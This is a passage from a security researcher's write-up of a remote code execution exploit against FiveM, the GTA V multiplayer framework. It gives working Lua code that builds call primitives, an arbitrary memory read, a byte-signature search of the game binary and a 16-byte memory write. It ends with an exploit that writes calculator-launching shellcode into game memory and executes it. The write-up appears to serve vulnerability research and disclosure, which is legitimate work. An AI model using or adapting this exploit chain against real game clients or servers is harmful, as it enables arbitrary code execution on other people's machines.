7. I can call functions now. But which? Few for certain—those in xinput1_1.dll. And how? With only one argument, that must always be a pointer to an object, which moreover cannot even have for me its first few bytes free, taken up by its virtual function table pointer. I am pretty certain, though, that I can make something useful of this. Observing these two limitations, I drag-and-drop the ASLR haven DLL to the disassembler and begin exploring the functions at my disposal. There are only 215 functions, so I decide to inspect them one by one. Some catch my eye, but a moment of thought proves them useless. In the end, one function from the CRT is promising, namely, __DestructExceptionObject, at address 0x409B90. The exception handling mechanism of the CRT is irrelevant for this article, so I will describe what is readily seen. See the pseudocode below. This function takes a pointer to a structure, s1, and reads at s1+48 a pointer to another structure, s2; from s2 it reads a 32-bit value, which it validates to be non-zero, then adds it to the 64-bit value at s1+56, and calls the function at the added address—not without first passing to it the arbitrary value under our control at s1+40.
void __fastcall __DestructExceptionObject(__int64 s1)
{
__int64 s2; // rax
if ( s1 )
{
s2 = *(_QWORD *)(s1 + 48);
if ( *(_DWORD *)(s2 + 4) )
((void (__fastcall *)(_QWORD))(*(signed int *)(s2 + 4) + *(_QWORD *)(s1 + 56)))(*(_QWORD *)(s1 + 40));
}
}
Pseudocode of the Function
8. This means that I can use __DestructExceptionObject to gain full control over the first function call argument. Two strings are needed, one for s1, one for s2: make the second decode at position 4 into a positive integer; encode into the first at offset 40 the 64-bit argument, at 48 a pointer to the other, at 56 the address to call minus the integer needed for the if condition. Call __DestructExceptionObject with fcall0, and define fcall1 as follows.
fn_fcall1 = 0x409B90
Lua Code
function fcall1(addr, arg)
local obj2 = straddr(rp('\0',4) .. spU32(1))
local obj1 = rp('\0',32) -- [1,4]
.. spU64(arg) -- [5]
.. spU64(obj2) -- [6]
.. spU64(addr-1) -- [7]
fcall0(fn_fcall1,obj1)
end
Definition of the Fcall1 Function
9. Now I can actually call any function with one arbitrary 64 bits long argument. Which function should I call next to get me closer to execution? In xinput1_1.dll I see none. Where else? If only I could scan the memory, looking for one function or another, and call whichever I pleased… Maybe, just maybe, I can. See the code and definitions below from the native invoker.
#define SCRSTRING_MAGIC_BINARY 0xFEED1212
struct scrString
{
const char* str; // @0
size_t len; // @8
uint32_t magic; // @16
};
Definition of the Scrstring Structure
// ...
switch (result.returnValueCoercion)
{
case LuaMetaFields::ResultAsString:
{
auto strString = reinterpret_cast<scrString*>(&context.arguments[0]);
if (strString->magic == SCRSTRING_MAGIC_BINARY)
{
lua_pushlstring(L, strString->str, strString->len);
}
else if (strString->str)
{
lua_pushstring(L, strString->str);
}
else
{
lua_pushnil(L);
}
break;
}
case LuaMetaFields::ResultAsFloat:
// ...
}
Extract from InvokeNative
(link to complete function)
10. Say you want to read a sequence of bytes in memory of a certain length from a Lua script. Prepare a native invocation. Take a no-op native, and pass meta-field ResultAsString, and these three invocation arguments in order: the memory address at which to read, the number of bytes, and constant SCRSTRING_MAGIC_BINARY; and InvokeNative will read the memory and return the bytes in a Lua string. How? The meta-field will make the invoker expect a string result from the call; the arguments, one on top of another in the argument stack, will be indistinguishable in memory from a legitimate scrString structure occupying it, with magic set to that value which indicates that the string may contain null bytes, and that it should be read considering its len field, not expecting a null terminator byte. This is what the memread function will do.
function memread(at, len)
return Citizen.InvokeNative(
0xC6ED9D5092438D91, -- REGISTER_SCRIPT_WITH_AUDIO
at, -- scrString.str
len, -- scrString.len
0xFEED1212, -- scrString.magic
Citizen.ResultAsString())
end
Definition of the Memread Function
11. Now it is time to find functions. Where in memory can I search for them? Two possibilities: the DLL containing the Citizen library, which we can address by passing any function from this library to the tostring function, as in the example below; or the main executable image, through the native _GET_GLOBAL_CHAR_BUFFER. This seems most convenient, since GTA V binaries are larger and less often updated than FiveM code. This native returns a pointer to somewhere in the data section, so I can just move back and arrive at .text. I can now devise a simple function bytesearch for looking up a byte sequence b in memory, reading backwards from a given address a; this address will be returned by gcb.
print(tostring(Citizen.InvokeNative))
-- function: 700000000000
Passing a Function to Tostring in Lua
function bytesearch(a, b)
local bb = {string.byte(b,1,#b)}
local ri = #bb
while true do
local m = memread(a, 0x1000)
local mb = {string.byte(m,1,#m)}
local mi = #mb
while true do
if mi < 1 then
break
end
if bb[ri] == 0x3F or mb[mi] == bb[ri] then
ri = ri-1
elseif ri ~= #bb then
-- not found, reset search and keep looking in chunk
ri = #bb
end
if ri == 0 then
-- found, take 1 for lua indexing
return a + mi - 1
end
mi = mi-1
end
a = a-0x1000
end
return 0
end
Definition of the Bytesearch Function
function gcb()
-- _GET_GLOBAL_CHAR_BUFFER
return Citizen.InvokeNative(0x24DA7D7667FD7B09, Citizen.ResultAsLong())
end
Definition of the Gcb Function
12. All functions in the GTA V executable being now available for use, the scarcity problem is solved. It is time to look out for functions again. I open the disassembler, drag-and-drop the game binary, and there is the list of the 150000 functions recognized. Applying certain filters, I find nothing. So I begin searching at random, choosing one function or another down the list for a quick look at its disassembled code. After a while, one function seems interesting. We will identify this function by a short sequence of its bytes, or, signature, here expressed: 40 53 48 83 EC 20 83 79 24 00 48 8B D9 74 22 48 63 51 20 39 51 24. Look at the pseudocode below. What stands out? First, that it takes one argument, quadword s1, and that one of two virtual functions is called, passing to it quadword (QWORD)s1, or, s2, and afterwards two quadword values read from s2. The function to run is chosen by doubleword dw1 at offset 32, and doubleword dw2 at offset 36. and we notice clearly that execution would reach at least up to either line 13, or line 21, according to which value we let be zero, and which non-zero. After this point, it only matters that the function returns successfully. Let us make sure. Line 26. Read quadword at offset 8 defining qw_8. Line 27. Read quadword at offset 0 defining s2. Line 28. Zero out four bytes at offset 9. Line 29. Increment quadword at offset 24 by qw_8. Line 30. Zero out four bytes at offset 8. Line 31. Read vtable pointer from s2; call function passing two arguments s2 and qw_8.
__int64 __fastcall sub_12B92C8(__int64 s1)
{
__int64 *_s1; // rbx
__int64 dw_32; // rdx
__int64 qw_8; // rax
__int64 s2; // rcx
_s1 = (__int64 *)s1;
if ( *(_DWORD *)(s1 + 36) )
{
dw_32 = *(signed int *)(s1 + 32);
if ( *(_DWORD *)(s1 + 36) != (_DWORD)dw_32 )
(*(void (__fastcall **)(_QWORD, _QWORD, __int64, _QWORD))(**(_QWORD **)s1 + 88i64))(
*(_QWORD *)s1,
*(_QWORD *)(s1 + 8),
*(_QWORD *)(s1 + 24) + dw_32,
0i64);
}
else if ( *(_DWORD *)(s1 + 32) )
{
(*(void (__fastcall **)(_QWORD, _QWORD, _QWORD))(**(_QWORD **)s1 + 288i64))(
*(_QWORD *)s1,
*(_QWORD *)(s1 + 8),
*(_QWORD *)(s1 + 16));
}
qw_8 = *((signed int *)_s1 + 8);
s2 = *_s1;
*((_DWORD *)_s1 + 9) = 0;
_s1[3] += qw_8;
*((_DWORD *)_s1 + 8) = 0;
return (*(__int64 (__fastcall **)(__int64, __int64))(*(_QWORD *)s2 + 128i64))(s2, _s1[1]);
}
Pseudocode of the Function
13. It seems then that aside from s1 I need to create object s2, and its vtable, with a valid function at offset 128. If exploitation of this function was possible, and it appears so, I would have a method for calling three-argument functions. But before I continue, I ask, is this function reliable? FiveM can be used with many different versions, or, builds, of the game binary. The one I am disassembling now is the most recent to this day. Looking at others, including build 350 from 2015, the function is present, unaltered. So I may assume it is. With this out of the way, I will attempt exploitation. Look at the code again. Which of the two functions should I call? The one inside the first outer if block clears the fourth argument, and also occupies a much lower position in the vtable, so less space will need to be filled; therefore I choose this function. What to do? I have three objects to create and encode in strings. First, the virtual function table for s2: zero up to offset 88, encode the address of the function to call, add 32 more zeros, and address here at 128 that function which will be called before returning, which I resolve to be, looking at xinput1_1.dll, the one at 0x407100, disassembly below. I encode in s2 only its virtual function table, although more data can be appended to this object. And finally s1: put pointer to s2 at 0, second argument at 8, third at 24 after eight zeros of padding, doubleword dw1 zero at 32, doubleword dw2 non-zero at 36. The payload is complete. For the purpose of finding out where this function is located in memory I use bytesearch. Its address known, I call the function with fcall1, passing argument s1, and can expect the target function to be called, with the three arguments encoded, one an object pointer, the other two arbitrary, all of eight bytes of length. In this way I define fcall3.
.text:0000000000407100 xor eax, eax
.text:0000000000407102 retn
Disassembly of the No-Op Function
fn_fcall3 = bytesearch(gcb(), '\x40\x53\x48\x83\xEC\x20\x83\x79\x24\x00\x48\x8B\xD9\x74\x22\x48\x63\x51\x20\x39\x51\x24')
fn_ret0 = 0x407100
Lua Code
function fcall3(addr, extra, arg2, arg3)
-- 0 88 96 128
local s2_vft = straddr(rp('\0',88) .. spU64(addr) .. rp('\0',32) .. spU64(fn_ret0))
-- 0 8
local s2 = straddr(spU64(s2_vft) .. extra)
-- 0 8 16 24 32 36
local s1 = straddr(spU64(s2) .. spU64(arg2) .. rp('\0',8) .. spU64(arg3) .. spU32(0) .. spU32(1))
fcall1(fn_fcall3, s1)
end
Definition of the Fcall3 Function
14. A few paragraphs ago, these were my words: “I know where shellcode could be written. What I need to find out is how to write to memory, and how to execute code.” Now it is certain I can execute code, but I still cannot write to memory. Yet I can do it with so much versatility, that being unable to commit shellcode to memory cannot delay remote code execution for me any longer. It cannot be too hard to find one simple function within the game binary, as the other throughout different builds persisting, to serve me in this regard. So I fire up the disassembler again, and one function comes to my attention. See the disassembly output below.
.text:00000000003A5A80 mov rax, [rcx+60h]
.text:00000000003A5A84 movaps xmm0, xmmword ptr [rax+90h]
.text:00000000003A5A8B mov rax, rdx
.text:00000000003A5A8E movaps xmmword ptr [rdx], xmm0
.text:00000000003A5A91 retn
Disassembly of the Function
15. This function takes two arguments, both memory locations, the first, val, pointing indirectly to where the 16-byte value to write lies in memory, the other, dst, being the location to be written. The code reads as follows: take val, add 0x60, read quadword value; add 0x90 to this value read, and the sum is a memory address; read sixteen bytes at this address, and write them into dst (and return the previous value at dst). Note that the instruction used to copy memory is MOVAPS. This means that the value offset from val by 0x60, to which 0x90 will be added, and which will at last be the location in memory storing the value to write, needs to be aligned on a 16-byte boundary; and so, too, the location to be written dst. Exploitation is trivial. First, I find the function within the game binary using bytesearch, with the following byte pattern: 48 8B 41 60 0F 28 80 ? ? ? ? 48 8B C2 0F 29 02 C3. Then I have to prepare the appendix for the object argument, starting at offset 8, which will make val: put 88 zeros and encode the value address minus 144; the destination argument is an integer. Finally, the two arguments ready, I invoke fcall3—and the sixteen bytes in val are copied into dst.
fn_memwrite16 = bytesearch(gcb(), '\x48\x8B\x41\x60\x0F\x28\x80????\x48\x8B\xC2\x0F\x29\x02\xC3')
Lua Code
function memwrite16(dst, val)
chkalign16(dst)
local v = straddr('\0\0\0\0\0\0\0\0' .. val)+8
chkalign16(v)
local ex = rp('\0',88) .. spU64(v-144)
fcall3(fn_memwrite16,ex,dst,0)
end
Definition of the Memwrite16 Function
16. The memwrite16 function above illustrates my explanation, but it can only write so many bytes at a time. I will rewrite it to call the write primitive as many times as needed to do a full write. See below the new definition of this function.
function memwrite16(dst, val)
chkalign16(dst)
local v = straddr('\0\0\0\0\0\0\0\0' .. val)+8
chkalign16(v)
local i = 0
local l = #val
repeat
local ex = rp('\0',88) .. spU64(v+i-144)
fcall3(fn_memwrite16,ex,dst+i,0)
i = i+16
until i >= l
end
Definition of the Memwrite16 Function
17. I know where to write the code, I can write it, and I can execute it. It is now time to put the pieces together. So I take a shellcode that opens the Windows calculator, and I lay it out into a string. I call _GET_GLOBAL_CHAR_BUFFER and offset a few bytes from the address returned—enough, I guess, to avoid conflicts with its regular usage, that is, as a string buffer. I write the shellcode into this address with memwrite16. And I execute the code just written with fcall1. You can see the exploit below.
local sh = '\x50\x54\x58\x66\x83\xe4\xf0\x50\x31\xc0\x40\x92\x74\x4f\x60\x4a\x52\x68\x63\x61\x6c\x63\x54\x59\x52\x51\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x3b\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x42\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf0\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\x58\x58\x61\x5c\x92\x58\xc3\x50\x51\x53\x56\x57\x55\xb2\x60\x68\x63\x61\x6c\x63\x54\x59\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7\x48\x83\xc4\x68\x5d\x5f\x5e\x5b\x59\x5a\x5c\x58\xc3'
local dst = align16(gcb()+0x100)
memwrite16(dst,sh)
fcall1(dst,0)
Exploit
18. Finally, I test the exploit. The local server started, I jump into the game. The script is run and the calculator opens, and the program keeps running fine.
Video Demonstration
5. Conclusion
In the introduction I said I expected an interesting challenge before me. And what can I say? I have not been disappointed. I enjoyed discovering a programming mistake in the source code of a program, while uncertain how, and if it would, lead to exploitation, and then finding certainty both in the possibility and the method while achieving my hope; it was fun, too, the second time, to go about it steadily, collecting observations over a few days, and building the exploiting code by pieces. I hope reading my writing was as exciting for you as it was this little challenge for me. You can find important source code belonging to this article online in the repository under this link.